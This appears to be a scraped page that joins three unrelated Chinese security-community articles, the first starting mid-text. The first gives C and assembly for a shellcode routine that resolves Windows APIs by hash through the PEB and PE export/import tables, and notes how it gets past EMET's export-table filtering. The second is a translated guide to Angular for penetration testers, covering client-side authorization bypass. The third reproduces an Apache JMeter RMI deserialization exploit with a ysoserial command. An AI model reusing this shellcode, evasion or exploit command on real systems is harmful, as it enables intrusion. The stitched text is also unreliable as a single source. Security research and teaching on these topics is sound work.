在这里我们需要e_lfnew字段，加上当前模块基址能得到NT_IMAGE_HEADERS的指针。
**
**
**0x02 Image NT Headers**
因为在内存中映射的PE映像的基址是随机的，只有重要结构的相对虚拟地址（RVA）保存在PE文件中。
为了将RVA转化为虚拟地址（VA），可以使用以下宏。
通过基址加上e_lfanew，然后获得指向IMAGE_NT_HEADERS的指针。
下面两个结构在头文件WinNT.h中定义了，但是编译时根据架构只是用一个。
**0x03 Image Optional Header**
在可选头的末尾是一个IMAGE_DATA_DIRECTORY结构的数组。
// Directory Entries
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory
//
// Optional header format.
//
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
**0x04 Image Data Directory**
每个目录拥有一个相对虚拟地址和大小。为了访问导出和导入目录，可简单的通过RVA2VA的宏得到虚拟地址。
VirtualAddress：
数据结构的相对虚拟地址。例如，如果这个结构是导入目录，这个字段填充IMAGE_IMPORT_DESCRIPTOR数组的相对虚拟地址。
Size：
包含指向的数据结构的大小。
**
**
**0x05 Image Export Directory**
因为导出目录是目录表的第一项，我们将解释这种获取API的方法。
我们只对5个字段有兴趣：
**Name**
DLL名字字符串的相对虚拟地址
**NumberOfNames**
通过名字导出的API的个数
**AddressOfFunctions**
指向所有函数的VA数组的相对虚拟机地址。每个VA加上模块基址，能得到一个导出函数的地址。
**AddressOfNames**
指向所有函数名的VA数组的相对虚拟机地址。每个VA加上模块基址，能得到表示API的非0结尾的字符串的地址。
**AddressOfNameOrdinals**
序号数组的相对虚拟地址。每个序号表示一个AddressOfFunctions数组的索引。
下面的函数使用DLL和API名字的CRC-32C哈希值，从导出表中获取API的地址。
参数base明显是DLL的基址，参数hash是2个CRC-32C的哈希值。crc32c(DLL字符串)+crc32c(API字符串)。
LPVOID search_exp(LPVOID base, DWORD hash)
{
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
DWORD cnt, rva, dll_h;
PIMAGE_DATA_DIRECTORY dir;
PIMAGE_EXPORT_DIRECTORY exp;
PDWORD adr;
PDWORD sym;
PWORD ord;
PCHAR api, dll;
LPVOID api_adr=NULL;
dos = (PIMAGE_DOS_HEADER)base;
nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
// if no export table, return NULL
if (rva==0) return NULL;
exp = (PIMAGE_EXPORT_DIRECTORY) RVA2VA(ULONG_PTR, base, rva);
cnt = exp->NumberOfNames;
// if no api, return NULL
if (cnt==0) return NULL;
adr = RVA2VA(PDWORD,base, exp->AddressOfFunctions);
sym = RVA2VA(PDWORD,base, exp->AddressOfNames);
ord = RVA2VA(PWORD, base, exp->AddressOfNameOrdinals);
dll = RVA2VA(PCHAR, base, exp->Name);
// calculate hash of DLL string
dll_h = crc32c(dll);
do {
// calculate hash of api string
api = RVA2VA(PCHAR, base, sym[cnt-1]);
// add to DLL hash and compare
if (crc32c(api) + dll_h == hash) {
// return address of function
api_adr = RVA2VA(LPVOID, base, adr[ord[cnt-1]]);
return api_adr;
}
} while (--cnt && api_adr==0);
return api_adr;
}
一个重要的事情是这个函数不能解析通过序号导出的API，前向引用有时也是个问题。
下面是实现相同功能的汇编代码。
; in: ebx = base of module to search
; ecx = hash to find
;
; out: eax = api address resolved in EAT
;
search_expx:
pushad
; eax = IMAGE_DOS_HEADER.e_lfanew
mov eax, [ebx+3ch]
; first directory is export
; ecx = IMAGE_DATA_DIRECTORY.VirtualAddress
mov ecx, [ebx+eax+78h]
jecxz exp_l2
; eax = crc32c(IMAGE_EXPORT_DIRECTORY.Name)
mov eax, [ebx+ecx+0ch]
add eax, ebx
call crc32c
mov [esp+_edx], eax
; esi = IMAGE_EXPORT_DIRECTORY.NumberOfNames
lea esi, [ebx+ecx+18h]
push 4
pop ecx ; load 4 RVA
exp_l0:
lodsd ; load RVA
add eax, ebx ; eax = RVA2VA(ebx, eax)
push eax ; save VA
loop exp_l0
pop edi ; edi = AddressOfNameOrdinals
pop edx ; edx = AddressOfNames
pop esi ; esi = AddressOfFunctions
pop ecx ; ecx = NumberOfNames
sub ecx, ebx ; ecx = VA2RVA(NumberOfNames, base)
jz exp_l2 ; exit if no api
exp_l3:
mov eax, [edx+4*ecx-4] ; get VA of API string
add eax, ebx ; eax = RVA2VA(eax, ebx)
call crc32c ; generate crc32 of api string
add eax, [esp+_edx] ; add crc32 of DLL string
cmp eax, [esp+_ecx] ; found match?
loopne exp_l3 ; --ecx && eax != hash
jne exp_l2 ; exit if not found
xchg eax, ebx
xchg eax, ecx
movzx eax, word [edi+2*eax] ; eax = AddressOfOrdinals[eax]
add ecx, [esi+4*eax] ; ecx = base + AddressOfFunctions[eax]
exp_l2:
mov [esp+_eax], ecx
popad
ret
这就是从导出目录获取API的方法。通过导入表更加巧妙。
**
**
**0x06 Image Import Descriptor**
2009年微软发布的[EMET](http://wordpress.redirectingat.com/?id=725X1342&site=modexp.wordpress.com&xs=1&isjs=1&url=https%3A%2F%2Fwww.microsoft.com%2Fen-ie%2Fdownload%2Fdetails.aspx%3Fid%3D50766&xguid=af1c229770783c0d21eeb9ff0b7752a7&xuuid=26a5c8a10a811eabfe96ba08cc519a8f&xsessid=2)阻止了一些从导出目录获取API的shellcode。
EMET从5.2版本开始，包含了导出表访问过滤（EAF）和EAF+功能，都会阻止尝试从模块读取导出和导入目录。
通常，一个shellcode使用IAT解析其他函数前会先获取[GetModuleHandle](http://wordpress.redirectingat.com/?id=725X1342&site=modexp.wordpress.com&xs=1&isjs=1&url=https%3A%2F%2Fmsdn.microsoft.com%2Fen-us%2Flibrary%2Fwindows%2Fdesktop%2Fms683199\(v%3Dvs.85\).aspx&xguid=af1c229770783c0d21eeb9ff0b7752a7&xuuid=26a5c8a10a811eabfe96ba0)和[GeProcAddress](http://wordpress.redirectingat.com/?id=725X1342&site=modexp.wordpress.com&xs=1&isjs=1&url=https%3A%2F%2Fmsdn.microsoft.com%2Fen-us%2Flibrary%2Fwindows%2Fdesktop%2Fms683212\(v%3Dvs.85\).aspx&xguid=af1c229770783c0d21eeb9ff0b7752a7&xuuid=26a5c8a10a811eabfe96ba0)的地址。
如果PE文件从其他模块导入API，这个导入目录将包含导入描述符的数组，每个代表一个模块。
来看下面3个字段：
**OriginalFirstThunk**
包含导入函数名的偏移。
**Name**
非0结尾字符串表示的导入API的源模块名。
**FirstThunk**
包含真实函数地址的偏移。
**0x07 Image Thunk Data**
每个描述符包含了指向Image Thunk Data结构数组的指针。每个入口表示了导入的API的信息。
在代码中，我跳过了那些使用序号导入的入口。
来自OriginalFirstThunk的AddressOfData字段是指向IMPORT_BY_NAME结构的RVA。
FirstThunk的Function字段指向我们要搜索的API的真实地址。
**
**
**0x08 Image By Name**
因为我们不处理从序号导入的情况，所以我们不关心hint字段，只需要非0结尾字符串表示的API名。
**Hint**
包含索引到DLL函数导出表的位置。这个字段被PE加载器使用，因此它能够在DLL导出表中快速的查找函数。这个值不是必须的，有些链接器将这个字段设置为0。
**Name**
包含导入函数的名字。是一个ASCIIZ字符串。注意Name字段的大小是可变的。提供的结构方便使您可以使用描述性名称引用数据结构。
下面的代码使用DLL和API名字的CRC-32C哈希值，从导出表中获取API的地址。
LPVOID search_imp(LPVOID base, DWORD hash)
{
DWORD dll_h, i, rva;
PIMAGE_IMPORT_DESCRIPTOR imp;
PIMAGE_THUNK_DATA oft, ft;
PIMAGE_IMPORT_BY_NAME ibn;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_DATA_DIRECTORY dir;
PCHAR dll;
LPVOID api_adr=NULL;
dos = (PIMAGE_DOS_HEADER)base;
nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
rva = dir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// if no import table, return
if (rva==0) return NULL;
imp = (PIMAGE_IMPORT_DESCRIPTOR) RVA2VA(ULONG_PTR, base, rva);
for (i=0; api_adr==NULL; i++)
{
if (imp[i].Name == 0) return NULL;
dll = RVA2VA(PCHAR, base, imp[i].Name);
dll_h = crc32c(dll);
rva = imp[i].OriginalFirstThunk;
oft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
rva = imp[i].FirstThunk;
ft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
for (;; oft++, ft++)
{
if (oft->u1.Ordinal == 0) break;
// skip import by ordinal
if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) continue;
rva = oft->u1.AddressOfData;
ibn = (PIMAGE_IMPORT_BY_NAME)RVA2VA(ULONG_PTR, base, rva);
if ((crc32c(ibn->Name) + dll_h) == hash) {
api_adr = (LPVOID)ft->u1.Function;
break;
}
}
}
return api_adr;
}
相同功能的汇编代码如下，但是有了些优化。
in: ebx = base of module to search
; ecx = hash to find
;
; out: eax = api address resolved in IAT
;
search_impx:
xor eax, eax ; api_adr = NULL
pushad
; eax = IMAGE_DOS_HEADER.e_lfanew
mov eax, [ebx+3ch]
add eax, 8 ; add 8 for import directory
; eax = IMAGE_DATA_DIRECTORY.VirtualAddress
mov eax, [ebx+eax+78h]
test eax, eax
jz imp_l2
lea ebp, [eax+ebx]
imp_l0:
mov esi, ebp ; esi = current descriptor
lodsd ; OriginalFirstThunk +00h
xchg eax, edx ; temporarily store in edx
lodsd ; TimeDateStamp +04h
lodsd ; ForwarderChain +08h
lodsd ; Name_ +0Ch
test eax, eax
jz imp_l2 ; if (Name_ == 0) goto imp_l2;
add eax, ebx
call crc32c
mov [esp+_edx], eax
lodsd ; FirstThunk
mov ebp, esi ; ebp = next descriptor
lea esi, [edx+ebx] ; esi = OriginalFirstThunk + base
lea edi, [eax+ebx] ; edi = FirstThunk + base
imp_l1:
lodsd ; eax = oft->u1.Function, oft++;
scasd ; ft++;
test eax, eax ; if (oft->u1.Function == 0)
jz imp_l0 ; goto imp_l0
cdq
inc edx ; will be zero if eax >= 0x80000000
jz imp_l1 ; oft->u1.Ordinal & IMAGE_ORDINAL_FLAG
lea eax, [eax+ebx+2] ; oft->Name_
call crc32c ; get crc of API string
add eax, [esp+_edx] ; eax = api_h + dll_h
cmp [esp+_ecx], eax ; found match?
jne imp_l1
mov eax, [edi-4] ; ft->u1.Function
imp_l2:
mov [esp+_eax], eax
popad
ret
**0x09 Process Environment Block**
也许这个部分应该放在所有的内容之前？
另一个“进步”是在2002年由Ratter /
29A公布的[在NT下从PEB获得重要数据](http://vxheaven.org/29a/29a-6/29a-6.224)的方法。有一个更简单的方法从PEB中获取kernel32.dll的模块基址。
在这里我使用来自[Matt Graeber’s
PIC_Bindshell](https://github.com/mattifestation/PIC_Bindshell)的结构。
LPVOID getapi (DWORD dwHash)
{
PPEB peb;
PMY_PEB_LDR_DATA ldr;
PMY_LDR_DATA_TABLE_ENTRY dte;
LPVOID api_adr=NULL;
#if defined(_WIN64)
peb = (PPEB) __readgsqword(0x60);
#else
peb = (PPEB) __readfsdword(0x30);
#endif
ldr = (PMY_PEB_LDR_DATA)peb->Ldr;
// for each DLL loaded
for (dte=(PMY_LDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink;
dte->DllBase != NULL && api_adr == NULL;
dte=(PMY_LDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink)
{
api_adr=search_imp(dte->DllBase, dwHash);
}
return api_adr;
}
下面是相同算法的汇编，做了一些优化。
; LPVOID getapix(DWORD hash);
getapix:
_getapix:
pushad
mov ecx, [esp+32+4] ; ecx = hash
push 30h
pop eax
mov eax, [fs:eax] ; eax = (PPEB) __readfsdword(0x30);
mov eax, [eax+12] ; eax = (PMY_PEB_LDR_DATA)peb->Ldr
mov edi, [eax+12] ; edi = ldr->InLoadOrderModuleList.Flink
jmp gapi_l1
gapi_l0:
call search_expx
test eax, eax
jnz gapi_l2
mov edi, [edi] ; edi = dte->InMemoryOrderLinks.Flink
gapi_l1:
mov ebx, [edi+24] ; ebx = dte->DllBase
test ebx, ebx
jnz gapi_l0
gapi_l2:
mov [esp+_eax], eax
popad
ret
**
**
**0xA hash算法**
上述所有的例子，我都是用CRC-32C。C代表使用的Castagnoli多项式。用这个的原因是测试的80000个API都不会有冲突。一些其他的hash算法也提供了足够好的结果，但是使用CRC-32C的优势是INTEL处理器发布的SSE4.2的支持。
然而与0x20做或操作不是CRC-32C特有的。在这里仅仅是在哈希前将字符串转为小写。有时kernel32.dll也会出现大写的情况。
uint32_t crc32c(const char *s)
{
int i;
uint32_t crc=0;
do {
crc ^= (uint8_t)(*s++ | 0x20);
for (i=0; i<8; i++) {
crc = (crc >> 1) ^ (0x82F63B78 * (crc & 1));
}
} while (*(s - 1) != 0);
return crc;
}
这是使用内置指令的代码。
;
xor eax, eax
cdq
crc_l0:
lodsb
or al, 0x20
crc32 edx, al
cmp al, 0x20
jns crc_l0
下面是CPU不支持SSE4.2的代码。
; in: eax = s
; out: crc-32c(s)
;
crc32c:
pushad
xchg eax, esi ; esi = s
xor eax, eax ; eax = 0
cdq ; edx = 0
crc_l0:
lodsb ; al = *s++ | 0x20
or al, 0x20
xor dl, al ; crc ^= c
push 8
pop ecx
crc_l1:
shr edx, 1 ; crc >>= 1
jnc crc_l2
xor edx, 0x82F63B78
crc_l2:
loop crc_l1
sub al, 0x20 ; until al==0
jnz crc_l0
mov [esp+_eax], edx
popad
ret
当然，CRC-32C不是绝对没冲突的。有时需要考虑使用加密哈希算法。最简单的是有Daniel
Bernstein的[CubeHash](http://cubehash.cr.yp.to/)。
也可以使用一个小块或流密码加密字符串和截断密文为32或64位。解决冲突是值得探索的。
**0xB 总结**
解析导入和导出表不是困难的任务。所有的文档和代码将被提供，就没了不使用PIC技术的解析API的方法。使用硬编码API地址或者通过序号查找是个灾难。
[Getapi.c](https://github.com/odzhan/shellcode/blob/master/win/getapi.c)包含了通过CRC-32C定位API的C代码。[X86.asm](https://github.com/odzhan/shellcode/blob/master/win/x86.asm)和[x64.asm](https://github.com/odzhan/shellcode/blob/master/win/x64.asm)包含了通过CRC-32C定位API的汇编代码。 | 社区文章 |
# Pentesters的Angular和AngularJS - 第1部分
|
##### 译文声明
本文是翻译文章，文章原作者 nvisium，文章来源：nvisium.com
原文地址：<https://nvisium.com/blog/2019/01/10/angular-for-pentesters-part-1.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
企业介绍：nVisium是一家位于弗吉尼亚州赫恩登的私营应用安全公司。自2009年以来，nVisium一直在识别自定义应用程序中的安全问题，隐私问题和合规性差距。我们已经发展壮大，为财富500强企业和家庭品牌提供应用程序和云安全解决方案，以便在企业或其用户受到损害之前解决漏洞。
网络是一个聚集想法、技术、bug、以及很多各式各样JavaScript框架的游乐场。当今最受欢迎的Web框架之一是Angular，这是一个通过一系列规范模式简化前端Web应用程序开发的平台。作为应用程序安全专业人员，了解此框架的基础知识可以在应用程序安全评估的初始阶段为你提供优势。
这是两篇博客文章中的第一篇，旨在帮助渗透测试人员和应用程序安全研究人员对基于应用程序的角度进行更深入的分析。第一部分将向您介绍AngularJS和Angular的构建模块。我们将重点介绍每个概念，以帮助指导您的安全评估。然后，在第二部分中，我们将展示一些可以从浏览器控制台动态调试Angular代码的方法。有了这些知识，我们就可以开始进行多角度深入分析。
请注意，这不是一篇关于“如何在Angular中利用XSS或XYZ漏洞”的文章。有很多专门讨论Angular特定漏洞的文章以及快速找到它们的方法。相反，本博文的目的是了解Angular应用程序的工作原理、常见模式以及从应用程序安全角度动态调试Angular的方法。
在我们继续之前，请注意在示例代码中使用了Typescript for Angular
2+，因为大多数Angular应用程序都是用该语言编写的。但是，当代码在浏览器中呈现时，你将看到已编译的JavaScript。当应用程序从Typescript转换为JavaScript时，生成的代码不是最可读或最美观的，因此为了可读性，我们将坚持使用Typescript。
## 什么是Angular Anyways？
Angular是现代JavaScript框架之一，允许开发人员创建具有许多特色功能的快速响应网站。Angular还使开发人员能够分离前端和后端逻辑。Angular的核心是能够自动地在UI元素中反映应用程序状态的变化。
例如，假设应用程序应该每60秒从服务器中提取一次比特币价格。如果应用程序使用jQuery，则每次价格更改时，前端代码都必须操纵DOM以反映页面上的价格更新。相比之下，使用Angular的应用程序可以更新用于显示当前价格的变量，比如`$('#price-field').text(newPrice);`，新价格将直接显示在页面中，而不必通过执行类似操作来手动设置它。
## Angular版本
当你作为开发人员，测试人员或应用程序安全研究人员开始研究Angular时，您可能会注意到的第一件事就是Angular的许多版本已在相对较短的时间内发布。但是，我们可以说Angular只有两个主要版本。Angular
1.x（或AngularJS）和Angular 2+（或Angular）。使用AngularJS的应用程序大部分依赖于ECMAScript 5（ES5）;
所以在某种程度上，它是有限制的，并且通常不利于自ES6以来的JavaScript功能，例如类，arrow函数等。
通常Angular版本1.x被引用为AngularJS，版本2及更高版本被引用为Angular。我们将尝试指定概念或示例仅适用于一个版本，但是当我们说“Angular”时，我们指的是Angular
1.X（AngularJS）和Angular 2+（Angular）。
Angular 1.X应用程序基于4种不同的结构构建：模块，控制器，服务和指令。
* **模块** 可以被认为是命名空间。
* **控制器** 是附加到DOM对象的函数，它们通过更新作用于这些元素的变量的函数来控制UI元素的行为。
* **服务** 在某种程度上是Angular应用程序的业务层，因为它们拥有直接处理数据的功能。
* **指令** 可用于创建自定义HTML元素和属性，这些元素和属性可以添加到附加了特定功能的任何视图中。例如，指令可以创建元素`<price-console />`以在页面上显示比特币的价格。
在较高的层面上，这些概念之间的关系可能如下所示：
当Angular 2问世时，模式发生了重大变化，以利用ES6的面向对象特性。在某种程度上，控制器和指令融合到Angular调用的组件中。
* 与控制器一样， **组件** 控制页面上DOM元素的行为; 但是，组件通常使用模板来创建具有自己范围的自定义可重用HTML元素。此外，虽然AngularJS指令和控制器被定义为具有视图可用变量和闭包的函数，但组件被构建为JavaScript类。
在较高的层次上，Angular 2+应用程序看起来像这样：
但是版本4,5和6呢？版本3发生了什么？我们可以说这些版本在很大程度上是对Angular 2的改进，但模式大致相同。有趣的是，Angular 3从未存在过。
[在这里](https://angular.io/guide/ajs-quick-reference)，官方的Angular指南中包含一个很好的说明，解释Angular和AngularJS之间的主要差别。
现在让我们更详细地了解一些Angular核心概念，这些概念将使我们能够更好地理解Angular应用程序的高级结构。在我们完成每个概念时，我们将重点介绍每种方法如何帮助我们进行评估工作。
## 深入到Angular概念
### 作用域
Angular
1.x的核心是作用域的概念。每个应用程序都是作为一系列控制器构建的，每个组件都通过其作用域在页面上传递更改。每个控制器都可以通过自己的`$scope`变量添加、删除和更新视图可用的变量。回到比特币价格示例，控制器可以像这样更新价格变量：
$scope.vm.btcPrice = data.btcPrice;
请注意，Angular 2+出于同样的目的使用`this`而不是`$scope`，因为组件是作为类而不是函数构建的。以上示例在Angular
2+应用程序中可能如下所示：
this.price = data.price;
Angular监视作用域中的变量，监听作用域更改并触发函数以响应这些更改。例如，只有在`$scope.vm.isAdmin`等变量设置为`true`时，才能显示页面中的元素。作为应用安全研究人员，最好将`isAdmin`改为`true`，以查看你是否可以访问任何感兴趣的页面元素。例如，您可以在页面上看到仅限管理员的菜单和功能。
Angular使用HTML属性`ng-if`（Angular 1.X）和`ngIf`（Angular
2+）来决定在页面中显示或不显示的内容（此属性显示或移除页面元素，而不是隐藏或取消隐藏它们）。更改`isAdmin`为`true`可能允许您查看页面上的元素，否则在渲染页面时，这些元素会被角度移除。此时，您可以开始点击查看是否触发了服务器中未得到充分保护的任何管理功能。
作为安全研究人员，您可以通过检查作用域来检查不同变量的状态。 _此外，作用域变量的更改可以级联一系列其他更改并触发各种功能_
。这可以通过几种不同的方式完成。要检查和操作UI元素的作用域，可以使用Angular浏览器检查器应用程序，例如[Augary](https://augury.rangle.io/)或[ng-inspector](http://ng-inspector.org/)。也可以使用浏览器控制台操作作用域变量，我们将在本文的第二部分中看到。
### 路由
路由的概念适用于Angular的所有版本。Angular决定使用路由器模块在页面上呈现什么视图和局部视图。例如，当您导航到
_www.example.com/#/users时_ ，Angular会渲染 _/views/users.html_
，它由一个叫做`UsersControllers`被的控制器调用或Angular 2+中的`UserComponent`组件控制。
路由通常在设置应用程序模块的同一文件中声明，通常称为`app.ts`或`app.js`。根据用户权限，查找路由会给出一个目录和页面列表，您可以访问这些目录和页面，也可以不访问这些目录和页面。
在Angular 2+中，路由通常如下所示：
RouterModule.forRoot([
{ path: '', component: LoginComponent, pathMatch: 'full' },
{ path: '', component: HomeComponent, canActivate: [AuthGuard] },
{ path: 'login', component: LoginComponent, pathMatch: 'full' },
{ path: 'events', component: EventsComponent },
]),
在Angular 1.x中：
$routeProvider.
when("/dashboard", {
templateUrl: 'views/home.html',
controller: 'DashboardController',
controllerAs: 'vm'
}).
when("/login", {
templateUrl: 'views/login.html',
controller: 'LoginController',
controllerAs: 'vm'
}).
when('/admin', {
templateUrl: 'views/adminpanel.html',
controller: 'AdminPanelCtrl',
css: 'styles/css/adminpanel.css',
resolve: {
"currentAuth": [
"Auth", "AdminAuth", function (Auth, AdminAuth) {
var token = Auth.$getAuth().token;
return AdminAuth.isAdmin(token);
}
]
}
}).
otherwise({ redirectTo: '/' });
在最后一个实例中，我们声明了每个页面的控制器以及从视图中引用该控制器的别名。上面的代码还告诉我们，*路由管理面板是根据`AdminAuth.isAdmin(token);`来解析的，返回`true`还是`false`。那么，我们可以用这些信息做些什么呢？我们的下一步可能是寻找并修改`AdminAuth.isAdmin(token);`函数以便始终返回`true`，以防我们可以访问仅供管理员查看的视图元素。
### 服务
服务通常在UI和DOM逻辑之外完成大部分繁重工作。服务作为单例注入组件和控制器，因此它们通常作为控制器之间共享数据的一种方式。你将看到应用程序的大部分REST逻辑由Angular服务处理，因此它们可以作为应用程序使用的任何API接口的一种文档形式。
服务不仅包含您可能无法通过其他方法（例如，蜘蛛或自动目录和文件枚举）找到的有趣网址的引用，它们还将向你展示如何正确格式化API请求。实际上，对Angular应用程序进行深入评估的最有力的部分之一是对服务进行审查，因为它们可以让您轻松地测试缺失的服务器端访问控制漏洞，而不需要服务器端源代码（或其他一些敏感/非公开的信息集）。
我们来看看Angular 2+服务：
export class UserService extends BaseService {
constructor(private http: HttpClient, private router: Router) {
super();
}
addUser(firstName: string, lastName: string, email: string) {
return this.http.post<any>('api/admin/adduser', {
first: firstName,
last: lastName,
email: email
})
.pipe(map((res: any) => {
// login successful if there's a jwt token in the response
if (res && res.code == 200) {
Notifications.show("User account created successfully.")
}
}));
}
}
从上面我们知道，要创建一个新用户，我们需要发送一个POST请求到`/api/admin/adduser`
其正文格式如下：`{ "first":"George", "last":"Orwell",
"email":"[[email protected]](mailto:[email protected])"}`。
在Angular
1中，服务看起来略有不同。让我们看一下连接到[Firebase](https://firebase.google.com/)数据库的服务，以获得用户列表：
angular
.module('myApp.admin.services')
.factory('AdminService', ['$firebaseArray', '$firebaseObject', '$http', '$q',
function ($firebaseArray, $firebaseObject, $http, $q) {
var AdminService = {
allUsers: {},
getAllUsers: getAllUsers,
}
// Get a reference to the Firebase
var userProfilesRef = new Firebase("https://example.firebaseio.com/userprofiles/");
function getAllUsers() {
var deferred = $q.defer();
AdminService.allUsers = $firebaseObject(userProfilesRef);
Admin.allUsers.$loaded().then(function () {
deferred.resolve(AdminService.allUsers);
}, function (error) {
deferred.reject(error);
});
return deferred.promise;
}
上述服务逻辑告诉我们在 _example.firebaseio.com/userprofiles/_
上有一个Firebase端点，我们可以调用它来获取应用程序的用户列表。
服务还可以保存有趣的逻辑，用于与无服务器服务（如Firebase
)通信。在某些情况下，您可能会发现整个数据层逻辑都在客户端代码中，在这种情况下，您可以通过从浏览器控制台操作服务功能来枚举NoSQL数据库。我们将在本文的第二部分看到如何做到这一点。
### 控制器
如前所述，控制器是Angular 1.x概念。AngularJS应用程序使用控制器来操作DOM元素，并通过Angular的
`$scope`作用域设置侦听器和变量。例如，控制器可以保存页面中用户界面元素使用的变量，例如表单值和动态URLs，并且它们可以使用服务将这些表单提交给运行后端代码的服务器。此外，控制器可以保存作用域的变量，当这些变量发生变化时，会改变应用程序的行为。如果你需要找出是什么触发了页面上的特定更改，请寻找控制器逻辑。
### 组件
自从Angular
2发布后，Angular不再使用控制器，而是使用组件。组件控制视图或视图的一部分。组件不是作为带有闭包的函数来构建控制器，而是作为JavaScript类来构建，这些类可以保存自定义Web元素的标记模板、仅限于某个组件的CSS样式、该组件使用的变量以及控制该组件行为的逻辑。和AngularJS控制器一样，当你试图确定哪些变量可用于页面的特定部分时，你需要检查组件，以及当这些变量发生变化时会发生什么变化。
### 认证模式
大多数身份验证逻辑通常位于专用于这些目的的服务中。例如，以下是Angular2 +身份验证服务的常见做法:
...
export class AuthenticationService extends BaseService {
constructor(private http: HttpClient, private router: Router) {
super();
}
...
login(username: string, password: string) {
return this.http.post<any>('/api/auth/login', { username: username, password: password, email: email })
.pipe(map((res: any) => {
// successful if there's a jwt token in the response
if (res && res.auth_token) {
// store username and jwt token in local storage to keep user logged in between page refreshes
localStorage.setItem('currentUser', JSON.stringify({ username, auth_token: res.auth_token }));
}
}));
}
logout() {
// remove user from local storage to log user out
localStorage.removeItem('currentUser');
this.router.navigateByUrl('/login');
}
//...
}
上面告诉我们，在成功进行身份验证尝试时，`currentUser`会保存一个对象`localStorage`。注销函数简单地删除了该对象，因此迫使客户端向应用编程接口发送另一个请求来获取新令牌。这也告诉我们，注销后会话在服务器中可能不会失效。
请注意注销功能是如何强制重定向到登录页面的。如果我们在本地存储中手动添加`currentUser`会发生什么？应用程序是否允许您查看经过身份验证的路由？这些只是您在检查上述认证服务后可以查看的一些内容。
Angular 1.X中存在类似的模式，其在路由更改时检查身份验证。
run(["$rootScope", "$location", "$templateCache", '$http', function ($rootScope, $location, $templateCache,$http) {
$.material.init();
$rootScope.$on("$routeChangeError", function (event, next, previous, error) {
if (error === "AUTH_REQUIRED" || error.status === 401) {
$location.path("/login");
}
});
}]);
另一种常见模式是使用Angular **拦截器**
进行授权。HTTP拦截器是每次提交请求和/或收到服务器响应时运行的函数。两种常见的拦截器是JWT拦截器和错误拦截器。错误拦截器可用于检测代码为401
(未授权）的响应，以通知客户端用户必须注销并重定向到登录页面：
export class ErrorInterceptor implements HttpInterceptor {
constructor(private authenticationService: AuthenticationService) { }
intercept(request: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
return next.handle(request).pipe(catchError(err => {
if (err.status === 401) {
// if any response has a code of 401, logout the user and reload the page, forcing a redirect to the login page
this.authenticationService.logout();
location.reload(true);
}
const error = err.error.message || err.statusText;
return throwError(error);
}))
}
}
虽然上面的拦截器看的是HTTP响应，但是JWT拦截器的工作是在所有的HTTP请求中包含一个JWT头令牌：
export class JwtInterceptor implements HttpInterceptor {
intercept(request: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
// add authorization header with jwt token if available
let currentUser = JSON.parse(localStorage.getItem('currentUser'));
if (currentUser && currentUser.token) {
request = request.clone({
setHeaders: {
Authorization: `Bearer ${currentUser.token}`
}
});
}
return next.handle(request);
}
}
同样，你可以使用这些信息来了解应用程序如何处理身份验证，如果可能的话，尝试更改功能，看看你是否能注意到对你的评估有价值的东西。
## 最后
希望这些信息能为你提供一些见解，有助于你将来对Angular应用的安全性评估。当你在网络应用程序中寻找安全漏洞时，理解Angular可以增加你的直觉。在这篇文章的第二部分，我们将探索一些方法，使用Angular提供的调试功能从浏览器控制台动态测试应用程序。 | 社区文章 |
### 1.1. 漏洞简介
Apache JMeter是美国阿帕奇（Apache）软件基金会的一套使用Java语言编写的用于压力测试和性能测试的开源软件。
Apache JMeter 2.x版本和3.x版本中存在安全漏洞。攻击者可利用该漏洞获取JMeterEngine的访问权限并发送未授权的代码。
### 1.2. 复现过程
目标环境：虚拟机windows server 2008 R2、 jre 1.8.0_66
IP: 192.168.153.132
受影响版本为Apache JMeter 2.x版本和3.x
，这里选取了jmeter-2.13，JMeter历史版本下载地址为：<http://archive.apache.org/dist/jmeter/binaries/>
运行jmeter-server.bat即可启动JMeter服务，RMI 1099端口同时已经开启：
使用ysoserial对目标发送具有指定payload的数据包：
java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.153.132 1099 CommonsCollections1 "calc.exe"
目标已经执行了calc.exe程序：
### 1.3. 漏洞修复
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
<https://bz.apache.org/bugzilla/show_bug.cgi?id=62039>
